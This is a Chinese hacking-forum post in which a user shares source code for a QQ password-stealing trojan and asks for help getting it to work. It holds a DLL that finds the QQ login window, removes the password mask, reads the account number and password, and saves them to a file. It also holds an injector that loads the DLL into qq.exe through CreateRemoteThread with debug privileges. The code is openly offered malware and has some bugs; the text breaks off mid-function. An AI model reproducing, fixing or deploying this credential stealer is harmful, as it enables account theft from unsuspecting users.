|  
 帖子300 积分762 威望1212  金钱1030  在线时间3 小时 
   
 | 
| [讨论]关于QQ密码的问题——代码注入 议题作者:uncledo
 信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
 
 看了一篇《针对QQ1230及2003版的木马程序源代码,兼容win98,2000,不显示进程》后按照思路自己模仿了一下。没能成功,dll 中的代码没起作用,
  请大家指点一下,关键是dll不好调试!
 
 vc 6.0 sp2
 
 要注入到qq的dll
 复制内容到剪贴板
 代码:
 #include <windows.h>
 #include <stdio.h>
 
 //---------------------------------------------------------------------
 /*---------------------------------------------------------------------
 递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口,
 返回和lstyle样式相同的窗口句柄,如果没有找到,返回NULL
 ---------------------------------------------------------------------*/
 HWND GetStyleWindow(HWND hFatherWindow, const long lstyle)
 {
 //如果这个窗口符合查找条件,返回此句柄
 if (GetWindowLong(hFatherWindow, GWL_STYLE) == lstyle)
 {
 return hFatherWindow;
 }
 
 HWND hNextWindow, hDestWindow;
 
 //得到子窗口句柄
 if ((hNextWindow = GetWindow(hFatherWindow, GW_CHILD))!= NULL)
 {
 //递归查找子窗口
 if ((hDestWindow = GetStyleWindow(hNextWindow, lstyle)) != NULL)
 {
 return hDestWindow;
 }
 }
 
 //递归查找兄弟窗口
 if ((hNextWindow = GetWindow(hFatherWindow, GW_HWNDNEXT)) != NULL)
 {
 return GetStyleWindow(hNextWindow, lstyle);
 }
 
 //没有匹配的则返回NULL
 return NULL;
 }
 
 //---------------------------------------------------------------------
 
 int SavePass(char *pchFmtResult)
 
 {
 char total[50];
 total[50]=*pchFmtResult;
 
 HANDLE f;
 DWORD dw;
 
 //把QQ号码和QQ密码写入C盘password.txt中
 
 f=CreateFile("c:\\password.txt",
 GENERIC_WRITE,
 FILE_SHARE_WRITE,
 NULL,
 OPEN_ALWAYS,
 FILE_ATTRIBUTE_NORMAL,
 NULL);
 
 WriteFile(f,&total,sizeof(total),&dw,NULL);
 
 CloseHandle(f);
 return 0;
 }
 
 //---------------------------------------------------------------------
 DWORD WINAPI GetQQPass(void)
 {
 //用spy++得到的QQ的数据
 //QQ登录窗口的类名
 const char *pchWinClass = "#32770";
 //QQ登录窗口的号码窗口样式
 const long lNumWindowStyle1 = 0x50010242;
 //QQ登录窗口的密码窗口样式
 const long lPassWindowStyle1 = 0x50000044;
 
 
 HWND hLoginWindow, hNumWindow, hPassWindow;
 char achNum[20], achPass[25], achFmtResult[50];
 DWORD ThreadID;
 
 while(1)
 {
 Sleep(200);
 
 //找到QQ登录窗口
 
 hLoginWindow=FindWindow(pchWinClass,"QQ用户登录");
 
 if(IsWindow(hLoginWindow))
 {
 //获取QQ用户登录对话框里面的号码窗口和密码窗口的句柄
 hNumWindow = GetStyleWindow(hLoginWindow, lNumWindowStyle1);
 hPassWindow = GetStyleWindow(hLoginWindow, lPassWindowStyle1);
 //如果句柄都有效
 if ((hNumWindow && hPassWindow))
 {
 ZeroMemory(achFmtResult, sizeof(achFmtResult));
 
 //当句柄仍然有效时,说明用户没有点击进入下一步窗口的
 //按钮,则可能还没有输完号码和密码,所以要一直得到这
 //两个窗口的内容,直到窗口无效
 while(GetStyleWindow(hNumWindow, lNumWindowStyle1)
 && GetStyleWindow(hPassWindow, lPassWindowStyle1))
 {
 ZeroMemory(achNum, sizeof(achNum));
 ZeroMemory(achPass, sizeof(achPass));
 SendMessage(hNumWindow, WM_GETTEXT, sizeof(achNum), (LPARAM)achNum);
 //SendMessage(hPassWindow, WM_GETTEXT, sizeof(achPass), (LPARAM)achPass);
 /////////////////////
 long nType;
 
 nType = SendMessage(hPassWindow, EM_GETPASSWORDCHAR, 0, 0);//得到该密码框属性,用做取完密码后恢复该属性用
 PostMessage( hPassWindow, EM_SETPASSWORDCHAR, 0, 0);//去除密码框密码属性
 Sleep (100);//停止100毫秒,这点很重要
 SendMessage (hPassWindow,WM_GETTEXT,sizeof(achPass),(LPARAM)achPass);//取出QQ登录密码
 PostMessage (hPassWindow,EM_SETPASSWORDCHAR,nType,0);//恢复QQ密码框属性
 /////////////////////
 if (lstrlen(achPass))
 {
 ZeroMemory(achFmtResult, sizeof(achFmtResult));
 sprintf(achFmtResult, "%s:%s", achNum, achPass);
 }
 
 Sleep(20);
 }
 
 if (lstrlen(achFmtResult) > 6)
 {
 CreateThread(NULL,
 0,
 (LPTHREAD_START_ROUTINE)SavePass,
 achFmtResult,
 0,
 &ThreadID);
 
 Sleep(1000);
 }
 }
 }
 }
 
 return 0;
 }
 //-----------------------------------------------------------
 BOOL APIENTRY DllMain(
 HANDLE hModule,  // Handle to DLL module
 DWORD ul_reason_for_call,  // Reason for calling function
 LPVOID lpReserved ) // Reserved
 {
 switch ( ul_reason_for_call )
 {
 case DLL_PROCESS_ATTACH:
 // A process is loading the DLL.
 break;
 case DLL_THREAD_ATTACH:
 // A process is creating a new thread.
 CreateThread(NULL,
 0,
 (LPTHREAD_START_ROUTINE)GetQQPass,
 0,
 0,
 NULL);
 break;
 case DLL_THREAD_DETACH:
 // A thread exits normally.
 break;
 case DLL_PROCESS_DETACH:
 // A process unloads the DLL.
 break;
 }
 return TRUE;
 }
 负责注入的cpp 要把dll放在同一目录
 复制内容到剪贴板
 代码:
 #include <windows.h>
 #include <string.h>
 #include "tlhelp32.h"
 #include <stdio.h>
 #include <Shlwapi.h>
 #pragma comment(lib, "Shlwapi.lib")
 
 #include <stdlib.h>
 #include <string>
 
 #include "atlbase.h"
 //#include "atlstr.h"
 #include "comutil.h"
 
 
 #ifdef _DEBUG
 #include <stdio.h>
 #endif
 
 //---------------------------------------------------------------------
 int InjectDll( char *FullName, const DWORD Pid);
 //---------------------------------------------------------------------
 int AddPrivilege(const char *Name);
 //---------------------------------------------------------------------
 DWORD WINAPI InjectQQ(void);
 //---------------------------------------------------------------------
 DWORD ProcessToPID(const char *ProcessName);
 //---------------------------------------------------------------------
 
 main()
 {
 printf("lets go..\n");
 HANDLE honkHandle;
 honkHandle=CreateThread(NULL,
 0,
 (LPTHREAD_START_ROUTINE)InjectQQ,
 0,
 0,
 NULL);
 
 while(WaitForSingleObject(honkHandle,INFINITE)==WAIT_TIMEOUT)
 {
 printf("waiting for the thread to finish\n");
 }
 
 printf("ok stop ..\n");
 return TRUE;
 }
 //---------------------------------------------------------------------
 DWORD WINAPI InjectQQ(void)
 {
 printf("start injectqq ..\n");
 
 int i = GetCurrentDirectory(0,NULL);
 //先把两个参数设为0,NULL用来返回目录的字符数.
 
 char dir[100];
 
 GetCurrentDirectory(i,dir);
 #ifdef _DEBUG
 printf("当前目录:%s\n",dir); //显示目录
 #endif
 strcat(dir, "\\inqq.dll");
 
 //这里是把当前目录和一个文件结合起来,得到文件的绝对路径
 #ifdef _DEBUG
 printf("need dll :%s\n",dir); //显示全名inqq.dll
 #endif
 ///////////////////////////////
 #ifdef _DEBUG
 printf("start find qq process..\n");
 #endif
 //查找QQ进程
 DWORD    NewPid;
 
 NewPid=ProcessToPID("qq.exe");
 InjectDll(dir, NewPid);
 
 Sleep(500);
 
 return 0;
 }
 
 //---------------------------------------------------------------------
 //将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
 int InjectDll( char *FullName, const DWORD Pid)
 {
 HANDLE hRemoteProcess;
 
 //如果是要打开系统进程,一定要先申请debug权限
 AddPrivilege(SE_DEBUG_NAME);
 
 if ((hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许远程创建线程
 PROCESS_VM_OPERATION | //允许远程VM操作
 PROCESS_VM_WRITE | //允许远程VM写
 PROCESS_VM_READ,  //允许远程VM读
 0,
 Pid)) == NULL)
 {
 #ifdef _DEBUG
 printf("OpenProcess() error.\n");
 #endif
 return 1;
 }
 
 char *pDllName;
 
 if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,
 NULL,
 lstrlen(FullName) + 1,
 MEM_COMMIT,
 PAGE_READWRITE)) == NULL)
 {
 #ifdef _DEBUG
 printf("VirtualAllocEx() error.\n");
 #endif
 return 1;
 }
 
 //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
 if (WriteProcessMemory(hRemoteProcess,
 pDllName,
 (void *)FullName,
 lstrlen(FullName),
 NULL) == 0)
 {
 #ifdef _DEBUG
 printf("WriteProcessMemory() error.\n");
 #endif
 return 1;
 }
 //计算LoadLibraryA的入口地址
 PTHREAD_START_ROUTINE pfnStartAddr;
 
 if ((pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
 GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)
 {
 #ifdef _DEBUG
 printf("GetProcAddress() error.\n");
 #endif
 return 1;
 }
 
 
 HANDLE hRemoteThread;
 DWORD ThreadId;
 
 if ((hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的远程进程
 NULL,
 0,
 pfnStartAddr, //LoadLibraryA的入口地址
 pDllName,
 0,
 &ThreadId)) == NULL)
 {
 #ifdef _DEBUG
 printf("CreateRemoteThread() error.\n");
 #endif
 return 1;
 }
 //////////////////////////////////////////////
 printf("wait wait......");
 WaitForSingleObject(hRemoteThread,INFINITE);
 /////////////////////////////////////////////////////
 
 return 0;
 }
 
 //为当前进程增加指定的特权
 int AddPrivilege(const char *Name)
 {
 HANDLE hToken;
 TOKEN_PRIVILEGES tp;
 | 
 |